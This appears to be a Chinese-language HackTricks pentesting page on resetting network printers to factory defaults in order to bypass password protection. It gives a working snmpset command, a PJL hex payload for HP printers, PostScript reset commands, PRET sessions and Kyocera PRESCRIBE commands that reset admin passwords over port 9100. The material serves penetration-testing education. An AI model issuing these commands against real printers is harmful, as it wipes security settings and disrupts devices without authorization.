hacktricks/network-services-pentesting/pentesting-printers/factory-defaults.md
2023-08-03 19:12:22 +00:00

6.8 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

将设备恢复到出厂设置是一项安全关键的功能,因为它会覆盖用户设置的密码等保护机制。通常可以通过在打印机的控制面板上按下特殊的组合键来完成此操作。执行这样的冷重置只需要几秒钟,因此对于本地攻击者或渗透测试人员来说,这是一个现实的场景,他们可以在午餐时间潜入复印室。然而,并不总是可以物理访问设备。

SNMP

打印机MIB定义了prtGeneralReset对象(OID 1.3.6.1.2.1.43.5.1.1.3.1允许攻击者使用SNMP重新启动设备powerCycleReset(4)重置NVRAM设置resetToNVRAM(5)或恢复出厂设置resetToFactoryDefaults(6))。这个功能/攻击支持各种各样的打印机并删除了嵌入式Web服务器的用户设置密码等所有保护机制。虽然保护机制可以有效地绕过但这种方法的一个实际缺点是所有静态IP地址配置将丢失如果没有DHCP服务可用,攻击者将无法在将设备重置为出厂设置后重新连接到设备。

可以使用以下snmpset命令将设备恢复到出厂默认设置(你需要知道community string,在大多数情况下默认为public

snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6

PML/PJL

在许多情况下攻击者由于防火墙或未知的SNMP社区字符串而无法执行SNMP请求。然而HP设备上,SNMP可以转换为其PML表示并将请求嵌入到合法的打印作业中。这使得攻击者可以在普通的打印作业中重新启动和/或重置设备为出厂默认设置,如下所示:

@PJL DMCMD ASCIIHEX="040006020501010301040106"

任何人都可以在惠普打印机上复制这种攻击,使用PRET可以轻松地重新启动或重置设备:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

PostScript

PostScript提供了一个类似的功能FactoryDefaults系统参数,它是一个标志,如果在打印机关闭之前将其设置为true,则会在下次开机时将所有非易失性参数恢复为其出厂默认值。需要注意的是,PostScript本身也具有重新启动其环境的能力,但需要一个有效的密码

然而,正如在文档处理的DoS攻击中讨论的那样PostScript解释器可以被置于一个无限循环中,这会迫使用户手动重新启动设备从而重置PostScript密码。

将PostScript系统参数重置为出厂默认值

<< /FactoryDefaults true >> setsystemparams

重启PostScript解释器和虚拟内存

true 0 startjob systemdict /quit get exec

任何人都可以使用PRET轻松地重新启动或重置打印机的PostScript解释器

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart

PRESCRIBE

对于Kyocera设备,可以使用PRESCRIBE页面描述语言通过以下命令之一在普通打印作业中将设备恢复到出厂默认设置

!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'";  CMMT "Drop the security level, reset password";
!R! ACNT "REST";                                       CMMT "Reset account code admin password";
!R! EGRE;                                              CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0";                                   CMMT "Reset configuration settings";

要重现此攻击请打开到打印机的9100/tcp端口的原始网络连接发送上述记录的命令

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥